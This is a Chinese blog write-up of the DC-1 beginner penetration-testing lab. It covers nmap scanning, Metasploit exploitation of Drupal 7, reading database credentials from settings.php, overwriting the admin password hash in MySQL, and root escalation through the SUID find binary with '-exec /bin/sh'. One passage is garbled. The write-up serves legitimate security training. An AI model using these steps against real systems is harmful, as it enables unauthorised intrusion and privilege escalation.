DC-1实验详解

1 篇文章 0 订阅
1 篇文章 0 订阅

DC-1实验

前言

靶机DC-1是一个专门建立的脆弱实验室,目的是获得渗透测试领域的经验。它是为初学者设计的挑战,但它到底有多容易取决于你的技能和知识,以及你的学习能力。要成功完成这一挑战,您需要掌握Linux技能,熟悉Linux命令行,并具有基本渗透测试工具的经验,例如可以在Kali Linux或Parrot Security OS上找到的工具。有多种方法可以获得根,但是,我为初学者提供了一些包含线索的标志。总共有五个flag,但最终目标是在根的主目录中找到并读取标志。您甚至不需要成为根用户来执行此操作,但是,您将需要根权限。根据您的技能水平,您可以跳过寻找大多数这些标志,然后继续直。初学者可能会遇到他们以前从未遇到过的挑战,但是谷歌搜索应该是获得完成这个挑战所需的信息所必需的。

  • 环境搭建:首先虚拟机VMware,然后选择打开虚拟机并选择DC-1文档里名称为(DC-1.ova)的.ova文件,然后另外打开一个配置好的kali虚拟机,将DC-1和kali的网络全部设置成NAT模式

信息收集:寻找靶机真实IP

nmap -sP 192.168.XXX.XXX /24

扫描网段中有哪些主机在线,使用 -sP 参数,不扫描端口,只扫描「存活主机」。

本质上是Ping扫描,能Ping通有回包,就判定主机在线。

探端口及服务

nmap -A -p- -v 192.168.66.140

-A 综合性扫描

-v 冗余模式。使用这个选项,会给出扫描过程中的详细信息

发现开放了22算口,开放了ssh服务,OpenSSH 6.0p1
发现开放了80端口,存在web服务,Apache httpd 2.2.22,Drupal 7
发现开放了111端口,开放了rpcbind服务

访问web站点

发现是一个电信的drupal服务,根据nmap结果可知当前运行的是Drupal 7的CMS

searchsploit  drupal 7

Drupal 7是一个开源的内容管理系统(CMS),它曾广泛用于构建网站。然而,由于其开放源码性质,像所有软件一样,Drupal 7也可能存在安全漏洞。这些漏洞可能会导致未经授权的访问、数据泄露或其他形式的攻击。一些著名的Drupal 7漏洞包括:

Drupalgeddon系列漏洞:2018年,Drupal社区发现了几个高危漏洞,统称为Drupalgeddon II,其中最严重的一个可以让恶意用户完全控制受影响的网站。这些漏洞主要是由于文件上传功能的处理不当造成的。

RCE漏洞 (Remote Code Execution):这类漏洞允许攻击者通过输入恶意代码执行任意命令,这可能导致服务器权限提升或数据盗窃。

SQL注入漏洞:如果站点对用户提交的数据处理不够谨慎,就可能出现SQL注入漏洞,攻击者可以利用这个漏洞修改数据库内容或获取敏感信息。

修复这些漏洞至关重要,用户需要及时更新到最新版本并应用安全补丁,同时定期扫描和管理他们的网站安全性。

利用MSF渗透

典型的drupal,启动Metersploit  MSF存在drupal模块,尝试使用msf渗透

1.MSF简单命令介绍

msfconsole 进入MSF控制台

search 搜索相应模块

use            对应模块

show options   查看信息

set RHOST   远程主机ip

run            攻击

3.进入MSF控制台搜索drupal模块

进入MSF控制台msfdb run

搜索drupal模块search drupal

选择模块进行测试用2018的测试 设置靶机IP运行msf执行whoami

发现是www-data权限

进入home目录,发现flag4.txt文件,提示需要提升权限

使用python反弹一个交互式shell

python -c "import pty;pty.spawn('/bin/bash')"

-c 后跟命令,也就是说后面引号里的内容相当于会执行的代码

pty 模块定义了一些处理“伪终端”概念的操作:启动另一个进程并能以程序方式在其控制终端中进行读写。

pty.spawn

生成一个进程,并将其控制终端连接到当前进程的标准 io。 这常被用来应对坚持要从控制终端读取数据的程序。

发现flag1文件查看www目录下文件,发现flag1.txt文件,打开发现提示信息,内容提示寻找站点的配置文件

在日录sites下面有一个名为default的子目录,里面包含了你的Drupal站点的默认的设置文件---default.settings.php。Drupal安装器,将会基于你提供的信息来修改这些原始设置,并为你的站点创建一个settings.php 文件。

发现flag2

Drupal的默认配置文件为

/var/www/sites/default/settings.php

查看文件内容

SH    发现了flag2和数据库的账号密码

flag2提示,提升权限为root来查看敏感文件

打开之后发现了flag2,下面有数据库信息,可以看到数据库mysql并且得到账号密码

登入这个数据库 mysql -udbuser -pR0ck3t 然后查看数据库的内容 show databases;先进入数据库查看

'username' => 'dbuser',

'password' => 'R0ck3t',

mysql -u dbuser -p

    查看数据库,切换到drupaldb数据库

    查看查找默认的Drupal user 表  select * from users;

    发现admin信息

解决方法:置换drupal密码

方法一:可以新注册一个用户,密码记住了,然后通过phpmyadmin这样的可视化mysg管重工身到users表里把加李后的电码拷列admin的南码卡

方法二:这是drupal提供的昂原生的方法在windows下,打开命令行客户端(cmd),切换到Drupa17项目所在的目录,融入以下命令:php scripts/password-hash.sh admin

进入www目录 quit; 站点路径下执行php scripts/password-hash.sh 新密码

然后在进入数据库中把密码字段进行替换
进入mysql,输入密码,切换到drupaldb数据库

mysql -u dbuser -pR0ck3t

use drupaldb

将pass字段进行替换

update users set pass="$S$DP1Ap9LH4p/fiYkxkQsYJfj/rc7pmEzd17IAimm0pDYMcpVTT2tw" where name="admin";

登录站点

访问站点

进行登录,密码是之前我们自己替换的,账号是admin

admin

123

成功登录

13.发现flag3

登陆战点之后,随便翻一番,发现flag3,

http://192.168.66.140/node#overlay=admin/content

点击flag3进入,发现提示信息

Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow.

大致意思是提权并提示 -exec,想到suid提权 find 命令

​ SUID (Set UID)是Linux中的一种特殊权限,其功能为用户运行某个程序时,如果该程序有SUID权限,那么程序运行为进程时,进程的属主不是发起者,而是程序文件所属的属主。但是SUID权限的设置只针对二进制可执行文件,对于非可执行文件设置SUID没有任何意义.

在执行过程中,调用者会暂时获得该文件的所有者权限,且该权限只在程序执行的过程中有效. 通俗的来讲,假设我们现在有一个可执行文件ls,其属主为root,当我们通过非root用户登录时,如果ls设置了SUID权限,我们可在非root用户下运行该二进制可执行文件,在执行文件时,该进程的权限将为root权限.

利用此特性,我们可通过SUID进行提权

使用命令查看 suid 权限的可执行二进制程序

find / -perm -4000 2>/dev/null

发现find命令

使用命令测试,发现为root权限

touch 123

ls

find / -name 123 -exec "whoami" \;

发现最后的flag文件

    我们切换语句进入shell,执行whoami查看当前权限,执行ls查看当前目录下文件,切换到root目录,查看文件,发现cat thefinalflag.txt文件。

find ./ -name 666 -exec "/bin/sh" \;   

whoami

ls

cd /root

ls

    查看cat thefinalflag.txt文件

cat thefinalflag.txt

文件内容如下

Well done!!!

干得好!

Hopefully you've enjoyed this and learned some new skills.

希望你已经享受了这一点,并学到了一些新的技能。

You can Let me know what you thought of this little journey

你可以告诉我你对这段小旅程的看法

by_ contacting me via Twitter

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值